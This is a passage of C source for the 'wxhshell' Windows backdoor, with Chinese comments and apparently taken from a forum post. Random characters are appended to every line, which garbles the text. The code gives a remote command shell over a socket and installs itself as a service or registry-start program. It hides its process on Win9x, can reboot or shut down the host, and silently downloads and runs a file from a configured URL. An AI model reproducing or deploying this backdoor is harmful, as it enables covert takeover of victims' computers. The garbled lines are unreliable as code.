  // 帮助 LJ+Qe%|  
  case '?': { mOE%:xq9-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L-QzC<[F/  
    break; ;!H|0sv  
  } b$k|D)_|  
  // 安装 ~T'Ri=  
  case 'i': { bL"!z"NA  
    if(Install()) Kb5 YA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M^3pJ=;5  
    else qt{{q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJO40&Z<Z  
    break; v cZg3:j  
    } :UDT! 5FNO  
  // 卸载 B`i 5lD  
  case 'r': { q#!]5  
    if(Uninstall()) JOvRU DZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <C6*-j1oz  
    else w] =q>p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [d}AlG!  
    break; (M,IgSn9  
    } F|3iKK022  
  // 显示 wxhshell 所在路径 6x8P}?  
  case 'p': { u[;,~eB%w  
    char svExeFile[MAX_PATH]; ** !  
    strcpy(svExeFile,"\n\r"); Gn7P` t*.  
      strcat(svExeFile,ExeFile); mpysnKH  
        send(wsh,svExeFile,strlen(svExeFile),0); = gbB)u-Pc  
    break; xQK;3b  
    } 9/_F  
  // 重启 2qkZ B0[  
  case 'b': { q|_t=YM@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +M/1,&  
    if(Boot(REBOOT)) g&oAa;~o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;R x Rap  
    else { T_=iJ: Q  
    closesocket(wsh); ? j8S.d~  
    ExitThread(0); *%,{<C,Y  
    } DpZO$5.Ec+  
    break; gV\{Qoj  
    } Yl#|+xYA5[  
  // 关机 jJOs`'~Q\  
  case 'd': { xJSK"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sN%#e+(=  
    if(Boot(SHUTDOWN)) *dw6>G0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7JQw/,xs  
    else { KqNbIw*sR  
    closesocket(wsh); ]1k"'XG4,  
    ExitThread(0); jQIb :\0#  
    } DbH"e  
    break; . vJlTg  
    } K,' v{wSr  
  // 获取shell OqcM3#  
  case 's': { W-UMX',0zS  
    CmdShell(wsh); 0/@ ^He8l  
    closesocket(wsh); zXRq) ;s  
    ExitThread(0); pi|P&?yw  
    break; .\6q\7Ej  
  } eKw!%97>  
  // 退出 #lld*I"d  
  case 'x': { b)1v:X4Bv=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F\G-. 1  
    CloseIt(wsh); HZDeQx`*s  
    break; +t hkx$o  
    } f+K vym.  
  // 离开 k~,({T<  
  case 'q': { ! O~:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zl4X,9Wt  
    closesocket(wsh); |0Y: /uL#)  
    WSACleanup(); ZJ Ke}F`l  
    exit(1); N ">4I)  
    break; eGF+@)K1"  
        } >&g^ `  
  } ^KRe(  
  } _9<nM48+t  
2b i:Q9  
  // 提示信息 l}jC$B`5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K\3N_ztu  
} PDi]zp9>H  
  } xB<^ar  
q<Sb>M/\,  
  return; `EJ.L6j$'  
} qjrl$[`X:  
CNkI9>L=W`  
// shell模块句柄 (<ZpT%2  
int CmdShell(SOCKET sock) KyQd6 1  
{ 4J9VdEKk  
STARTUPINFO si; )4tOTi[  
ZeroMemory(&si,sizeof(si)); d(X/N2~g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HkL`- c0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vv FH (W  
PROCESS_INFORMATION ProcessInfo; n;+`%;6  
char cmdline[]="cmd"; ^S%xaA9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j2GTo~muq  
  return 0; rQb=/@-  
} \fD)|   
5HqvSfq>?  
// 自身启动模式 hq|I%>y  
int StartFromService(void) hzcSKRm  
{ L%Mj{fJ>Wm  
typedef struct \)'5V!B|s  
{ [0M`uf/u  
  DWORD ExitStatus; oH ] _2[ !  
  DWORD PebBaseAddress; L#6!W  
  DWORD AffinityMask; ^1mnw@04  
  DWORD BasePriority; N}\%r&KR=  
  ULONG UniqueProcessId; 5"WI^"6b:  
  ULONG InheritedFromUniqueProcessId; f]C`]qg  
}   PROCESS_BASIC_INFORMATION; @yj$  
KKcajN  
PROCNTQSIP NtQueryInformationProcess; \M U-D,@  
WM8])}<L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #M5pQ&yZy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kIwq%c;  
&ra2(S45  
  HANDLE             hProcess; RE%25t|  
  PROCESS_BASIC_INFORMATION pbi; 7RZ HU+  
5 !Ho[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?l>Ra0  
  if(NULL == hInst ) return 0; D_)N!,i  
!(8) '<t9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b'1m 9T780  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $No^\.mV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %)#yMMhR  
>z|bQW#2  
  if (!NtQueryInformationProcess) return 0; dIq*"Ry+~  
jb83Y>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K 3.z>.F'h  
  if(!hProcess) return 0; 'A{B[  
C-sFTf7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~o X`Gih  
U)6Ew4uRxV  
  CloseHandle(hProcess); \ !qe@h<  
cES8%UC^i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q>g-xe 1  
if(hProcess==NULL) return 0; 3S=$ng  
W!R7D%nX  
HMODULE hMod; 's\rQ-TV  
char procName[255]; %% +@s   
unsigned long cbNeeded; h )% e  
P/,ezVb=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FG5YZrONx  
oEJxey]B7  
  CloseHandle(hProcess); O^DLp/vM  
fi  
if(strstr(procName,"services")) return 1; // 以服务启动 iit 5IV  
t3<HE_B|  
  return 0; // 注册表启动 P%y9fU2[  
} )u=46EU_  
U&o ~U] rm  
// 主模块 hH]oJ}H \  
int StartWxhshell(LPSTR lpCmdLine) t;b1<TLn0  
{ 5;CqGzgoP  
  SOCKET wsl; Z \S'HNU  
BOOL val=TRUE; #Fckev4  
  int port=0; B,4 3b O  
  struct sockaddr_in door; jP31K{G?  
 ,8)aK y  
  if(wscfg.ws_autoins) Install(); lFV\Go  
Sd *7jW?  
port=atoi(lpCmdLine); S;}/ql y  
BmFtRbR  
if(port<=0) port=wscfg.ws_port; ^0(`:*  
q rF:=?`E  
  WSADATA data; ; ]VLA9dC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bC,SE*F\  
+HF*X~},i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Eyh(257  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I|tn7|*-A[  
  door.sin_family = AF_INET; {k)H.zwe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I3A xK A  
  door.sin_port = htons(port); V>"N VRY  
d(q2gd@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { asJt 6C  
closesocket(wsl); }w5`Oig[  
return 1; 'e*:eBoyb  
} 3A'9=h,lVK  
fiQ/ &]|5  
  if(listen(wsl,2) == INVALID_SOCKET) { F-<c.0;6  
closesocket(wsl); kPYQcOK8  
return 1; RY9Ur  
} X<uH [  
  Wxhshell(wsl); ZW ZKyJQ  
  WSACleanup(); ^)1!TewCY  
h{CMPJjD  
return 0; 8nTdZu  
bJB* w  
} *lyRy/POB  
y<^hM6S?Z  
// 以NT服务方式启动 i)[~]D.EH8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q32GI,M%B  
{ D' `[y  
DWORD   status = 0; DIWcX<s  
  DWORD   specificError = 0xfffffff; kYu"`_n}  
mU;\,96#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E@8&#<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $*;ke5Dm4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _))--+cL  
  serviceStatus.dwWin32ExitCode     = 0; Z`yW2ON$'  
  serviceStatus.dwServiceSpecificExitCode = 0; 0kL tL!3  
  serviceStatus.dwCheckPoint       = 0; Za'}26  
  serviceStatus.dwWaitHint       = 0; eXQzCm  
[p96H)8YU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }^ZPah  
  if (hServiceStatusHandle==0) return; ca"20NQ)  
Y4)=D@JI  
status = GetLastError(); 2^fSC`!  
  if (status!=NO_ERROR) u<nPJeE  
{ p 4Y 2AQ9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; to3D#9Ep  
    serviceStatus.dwCheckPoint       = 0; c59l/qoz  
    serviceStatus.dwWaitHint       = 0; ILT.yxV  
    serviceStatus.dwWin32ExitCode     = status; 5uD'Kd$H  
    serviceStatus.dwServiceSpecificExitCode = specificError; J-Wphc!m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ms{gZbw  
    return; AjMx\'(C  
  } xmwH~UWp  
IfpFsq:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K Z Q `  
  serviceStatus.dwCheckPoint       = 0; ?OdJ t  
  serviceStatus.dwWaitHint       = 0; "kkZK=}Nv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qW t 9Tr  
} 0 hS(9y40  
Jc,{ n*  
// 处理NT服务事件,比如:启动、停止 so }Kb3n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QW6\~l 4  
{ S@eI3Pk E  
switch(fdwControl) z=a{;1A  
{ 2w67 >w\  
case SERVICE_CONTROL_STOP: 84YZT+TEN  
  serviceStatus.dwWin32ExitCode = 0; $jNp-5+Q;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n##d!d|g  
  serviceStatus.dwCheckPoint   = 0; |d=MX>i|G  
  serviceStatus.dwWaitHint     = 0; APY*SeI V  
  { j:J{m0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bId@V[9  
  } ,XmyC7y<  
  return; a[Oi  
case SERVICE_CONTROL_PAUSE: X5wYfN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wj#Gm  
  break; AE&IN.-  
case SERVICE_CONTROL_CONTINUE: }|4dEao\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AV^Sla7|_  
  break; ^n8r mh_%  
case SERVICE_CONTROL_INTERROGATE: zIgD R  
  break; J(%kcueb  
}; VU 8 ~hF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %)G]rta#  
} P]||Xbbp  
X00!@ ^g  
// 标准应用程序主函数 w|WehNGr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Qi@z Jq,  
{ x@480r  
]BBL=$*  
// 获取操作系统版本 1U;p+k5c  
OsIsNt=GetOsVer();  d`&F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,MdK "Qa>  
ET}Dh3A  
  // 从命令行安装 4^Ghn  
  if(strpbrk(lpCmdLine,"iI")) Install(); i-_ * 5%A  
_T[m YY  
  // 下载执行文件 ( mKuFz7  
if(wscfg.ws_downexe) { 7!-y72qx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0s8w)%4$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZdY)&LJ  
} "R v],O"  
-% Z?rn2  
if(!OsIsNt) { #OVf2  "  
// 如果时win9x,隐藏进程并且设置为注册表启动 ::A]p@  
HideProc(); l:H}Y3_I  
StartWxhshell(lpCmdLine); Ff @Cs0R  
} and)>$)|  
else uGMmS9v$ J  
  if(StartFromService()) BV01&.<|  
  // 以服务方式启动 QL_9a,R'r  
  StartServiceCtrlDispatcher(DispatchTable); ',P E25Z  
else NM_Xy<.~E  
  // 普通方式启动 9 WhZ= Xk  
  StartWxhshell(lpCmdLine);  ]7yr.4?a  
}Pn]j7u!  
return 0; 27-GfC=7*  
}
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只看该作者 1 发表于: 2006-10-10
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